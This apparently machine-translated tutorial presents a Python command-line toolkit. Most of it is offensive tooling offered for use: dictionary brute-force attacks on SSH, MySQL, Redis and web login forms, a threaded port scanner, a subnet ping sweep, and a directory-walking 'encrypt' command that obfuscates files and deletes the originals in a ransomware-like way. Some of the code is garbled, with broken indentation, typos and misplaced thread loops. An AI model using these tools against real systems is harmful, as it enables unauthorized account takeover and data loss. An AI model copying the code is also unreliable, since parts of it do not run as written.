Python makes a command line tool set

Complete a command line tool set with pythpn

  • Base

import base64
import os
import threading
import time
import click
import paramiko
import pymysql
import redis
import requests
import socket
@click.group() #Sub option production
def cli():
    pass
  • Known users blast ssh

@click.command()
@click.option('-u', default='root', help='Enter the username you want to try')
@click.option('-p', default=22, help='Enter the port you want to try')
@click.option('-i', prompt='Please enter the IP', help='Enter the IP you want to try')
@click.option('-t', prompt='Please enter the path', help='Enter the dictionary path', type=str)
def ssh_ran_user(u, p, i, t): #Known users perform blasting ssh
    print('running')
    with open(t, 'r') as fp:
        password = fp. readlines()
    for passw in password:
        passw = passw.strip()
        try:
            transport = paramiko. Transport((i, p))
            transport.connect(username=u, password=passw) # traverse and try to connect
        except:
            pass
        else:
            print(f'login successful', 'login password is', passw)
            break
  • Unknown user blasts ssh

@click.command()
@click.option('-u', prompt='Please enter the path', help='Enter the username dictionary path you want to try', type=str)
@click.option('-p', default=22, help='Enter the port you want to try')
@click.option('-i', prompt='Please enter the IP', help='Enter the IP you want to try')
@click.option('-t', prompt='Please enter the path', help='Enter the dictionary path', type=str)
@click.option('--thread', default='0', help='Whether to enable multi-threading, 0 is not enabled, 1 is enabled', type=click.Choice(['0', '1']))
def ssh_ran(u, p, i, t, thread): #Unknown user blasts ssh
    if thread == '0':
        print('running')
        with open(t, 'r') as fp:
            password = fp. readlines()
        with open(u, 'r') as fp:
            username = fp. readlines()
        for user in username:
            user = user. strip()
            for passw in password:
                passw = passw.strip()
                time. sleep(0.2)
                try:
                    transport = paramiko. Transport((i, p))
                    transport.connect(username=user, password=passw) # traverse and try to connect
                except:
                    print(user, 'and', passw)
                else:
                    print('login successful', 'user name is', user, 'login password is', passw)
                    return
    else:
        print('Multi-threaded operation')
        the = []
        with open(t, 'r') as fp:
            password = fp. readlines()
        with open(u, 'r') as fp:
            username = fp. readlines()
        for user in range(0, len(username), 10):
            use = username[user:user+10]
            th = threading.Thread(target=ssh_ran_thr, args=(p, i, password, use,))
            the.append(th)
            for t in the:
                t. start()
                t. join()
def ssh_ran_thr(p, i, t, use): #multi-thread call
    for us in use:
        us = us. strip()
        for passw in t:
            try:
                transport = paramiko. Transport((i, p))
                te = transport.connect(username=us, password=passw) # traverse and try to connect
                print(te)
            except:
                print(us, 'and', passw)
            else:
                print(f'login successful: username {us}, password {passw}')
                exit()
  • Known blast mysql

@click.command()
@click.option('-u', default='root', help='Enter the username you want to try')
@click.option('-p', default=3306, help='Enter the port you want to try')
@click.option('-i', prompt='Please enter the IP', help='Enter the IP you want to try')
@click.option('-d', prompt='Please enter the library name', help='Enter the library', type=str)
@click.option('-t', prompt='Please enter the path', help='Enter the dictionary path', type=str)
@click.option('-c', default='utf8mb4', help='encoding method')
def mysql_ran_user(u, p, i, d, t, c): #Known users to blast mysql
    with open(t, 'r') as fp:
        password = fp. readlines()
    for passw in password:
        passw = passw.strip()
        try:
            pymysql.connect(host=i, user=u, password=passw, port=p, database=d,
charset=c)
        except:
            print(u, passw)
        else:
            print('login successful', 'username', u, 'login password', passw)
            break
  • Unknown user blasting mysql

@click.command()
@click.option('-u', prompt='Please enter the path', help='Enter the username dictionary path you want to try', type=str)
@click.option('-p', default=3306, help='Enter the port you want to try')
@click.option('-i', prompt='Please enter the IP', help='Enter the IP you want to try')
@click.option('-d', prompt='Please enter the library name', help='Enter the library', type=str)
@click.option('-t', prompt='Please enter the path', help='Enter the dictionary path', type=str)
@click.option('-c', default='utf8mb4', help='encoding method')
@click.option('--thread', default='0', help='Whether to enable multi-threading, 0 is not enabled, 1 is enabled', type=click.Choice(['0', '1']))
def mysql_ran(u, p, i, d, t, c, thread): #Unknown user blasts mysql
    if thread == '0':
        with open(u, 'r') as fp:
            username = fp. readlines()
        with open(t, 'r') as fp:
            password = fp. readlines()
        for user in username:
            user = user. strip()
            for passw in password:
                passw = passw.strip()
                try:
                    pymysql.connect(host=i, user=user, password=passw, port=p, database=d,
                                    charset=c)
                except:
                    print(user, passw)
                else:
                    print('login successful', 'username', user, 'login password', passw)
                    exit()
    else:
        print('Multi-threaded operation')
        the = []
        with open(t, 'r') as fp:
            password = fp. readlines()
        with open(u, 'r') as fp:
            username = fp. readlines()
        for user in range(0, len(username), 10):
            use = username[user:user+10]
            th = threading.Thread(target=mysql_ran_thr, args=(p, i, d, c, password, use,))
            the.append(th)
            for t in the:
                t. start()
                t. join()
                time. sleep(5)
def mysql_ran_thr(p, i, d, c, password, use): #multi-thread call
    for user in use:
        user = user. strip()
        for passw in password:
            passw = passw.strip()
            try:
                pymysql.connect(host=i, user=user, password=passw, port=p, database=d,
                                charset=c)
            except:
                print(user, passw)
            else:
                print('login successful', 'username', user, 'login password', passw)
                exit()
  • redis blasting

@click.command()
@click.option('-p', default=6379, help='Enter the port you want to try')
@click.option('-i', prompt='Please enter the IP', help='Enter the IP you want to try')
@click.option('-d', default=0, help='input library')
@click.option('-t', prompt='Please enter the path', help='Enter the dictionary path', type=str)
def redis_ran_user(p, i, d, t): #redis blasting with open(t, 'r') as fp:
        password = fp. readlines()
for passw in password:
    try:
            passw = passw.strip()
            redis.Redis(host=i, port=p, db=d, password=passw)
except:
    pass
else:
    print('login successful', 'login password', passw)
break
  • HTML username and password blasting

@click.command()
@click.option('-u', prompt='Please enter the path', help='Enter the username dictionary path you want to try', type=str)
@click.option('-l', prompt='Please enter the path', help='Enter the url path', type=str)
@click.option('-t', prompt='Please enter the path', help='Enter the dictionary path', type=str)
@click.option('-v', default='0000', help='verification code')
@click.option('--thread', default='0', help='Whether to enable multi-threading, 0 is not enabled, 1 is enabled', type=click.Choice(['0', '1']))
def html_ran(u, l, t, v, thread): #Web page blasting, username and password are unknown
    if thread == '0':
        print('starting')
        with open(u, 'r') as fp:
            username = fp. readlines()
        with open(t, 'r') as fp:
            password = fp. readlines()
        for user in username:
            use = user. strip()
            for password in password:
                pa = passwor.strip()
                data = {"user": use, "pass": pa, "vcode": v} # Attempt to log in with username and password
                res = requests. post(url=l, data=data)
                if res.text == "location.href='../book/cheng.php'":
                    print('login successful', 'username is', use, 'password is', pa)
                    exit()
    else:
        print('Multi-threaded operation')
        the = []
        with open(t, 'r') as fp:
            password = fp. readlines()
        with open(u, 'r') as fp:
            username = fp. readlines()
        for user in range(0, len(username), 10):
            use = username[user:user+10]
            th = threading.Thread(target=html_ran_thr, args=(l, v, password, use,))
            the.append(th)
            for t in the:
                t. start()
                t. join()
                time. sleep(5)
def html_ran_thr(l, v, password, use): #Call multithreading
    for user in use:
        us = user. strip()
        for password in password:
            pa = passwor.strip()
            data = {"user": us, "pass": pa, "vcode": v} # Attempt to log in with username and password
            res = requests. post(url=l, data=data)
            if res.text == "location.href='../book/cheng.php'":
                print('login successful', 'username is', us, 'password is', pa)
                exit()
  • encrypt and decode

@click.command()
@click.option('-p', prompt='d or e', help='encrypt or decrypt', type=click.Choice(['d', 'e']))
@click.option('--path', help='input file path', type=str)
@click.option('--src', help='Enter directory path', type=str)
def de_en(p, path, src): #Divide according to the situation
    res = []
    if src is not None:
        for root, dirs, files in os.walk(src): # Get the parent directory, subdirectories, files
            for file in files:
                res.append(os.path.join(root, file)) # Combine parent directory and file into one path
        # print(res)
    else:
        res.append(path)
    if p == 'e': #Encryption and decryption division
        for r in res:
            with open(r, 'rb') as fp:
                src = fp. read()
            bs = base64.b64encode(src).decode()
            se = ''
            for b in bs:
                new = chr(ord(b) + 5)
                se + = new
            os. remove(r)
            name = '123'
            with open(r + name, 'wb') as fp:
                fp.write(se.encode())
        print('Encryption complete')
    else:
        for r in res:
            with open(r, 'r') as fp:
                src = fp. read()
            se = ''
            for b in src:
                new = chr(ord(b) - 5)
                se + = new
            resp = base64.b64decode(se)
            s = r[0:-3]
            os. remove(r)
            with open(s, 'wb') as fp:
                fp.write(resp)
        print('Decryption complete')
  • port sniffing

@click.command()
@click.option('-i', help='Enter the port you want to try', type=int)
@click.option('-u', prompt='Please enter the IP', help='Enter the IP you want to try')
def scan_port(i, u):
    lis = []
    if i is None:
        lis = [7, 21, 22, 23, 25, 43, 53, 67, 68, 69, 79, 80, 81, 88, 109, 110, 113, 119, 123, 135, 137, 138, 139,
143, 161, 162, 179, 194, 220, 389, 443, 445, 465, 513, 520, 546, 547, 554, 563, 631, 636, 991, 993,
995, 1080, 1194, 1433, 1434, 1494, 1521, 1701, 1723, 1755, 1812, 1813, 1863, 3269, 3306, 3307, 3389,
3544,
4369, 5060, 5061, 5355, 5432, 5671, 5672, 6379, 7001, 8080, 8081, 8082, 8088, 8443, 8883, 8888, 9443,
9988, 15672, 27017, 50389, 50636, 61613, 61614]
    else:
        lis.append(i)
    for i in lis:
        threading.Thread(target=scan_p, args=(i, u,)).start()
    exit()
def scan_p(i, u):
    try:
        sock = socket. socket()
        sock. connect((u, i))
    except:
        pass
    else:
        print('Available ports:', i)
  • IP sniffing

@click.command()
@click.option('-s', default='w', help='Enter using system', type=click.Choice(['w', 'l']))
@click.option('-u', prompt='Please enter the IP', help='Enter the IP you want to try', type=str)
def scan_ip(s, u): #choose according to the different starting systems
    print('start')
    for i in range(1, 256):
        threading.Thread(target=scan_i, args=(i, s, u,)).start()
def scan_i(i, s, u):
    if s == 'w':
        i = str(i)
        v = u. split('.')
        v. pop()
        v. append(i)
        s = '.'.join(v)
        ip = s
        cmd = f "ping -w 1 -n 2 {ip}"
        res = os.popen(cmd).read()
        if 'byte=32' in res:
            print('IP exists', ip)
    else:
        i = str(i)
        v = u. split('.')
        v. pop()
        v. append(i)
        u = '.'.join(v)
        ip = u
        cmd = f "ping -c 2 -W 1 {ip}"
        res = os.popen(cmd).read()
        if '64 bytes' in res:
            print('IP exists', ip)
  • ending

cli.add_command(ssh_ran_user)
cli.add_command(ssh_ran)
cli.add_command(mysql_ran_user)
cli.add_command(mysql_ran)
cli.add_command(redis_ran_user)
cli.add_command(html_ran)
cli. add_command(de_en)
cli. add_command(scan_port)
cli.add_command(scan_ip)
if __name__ == '__main__':
    cli()

The knowledge points of the article match the official knowledge files, and you can further learn relevant knowledge. Network skill tree Home Overview 28734 people are learning systematically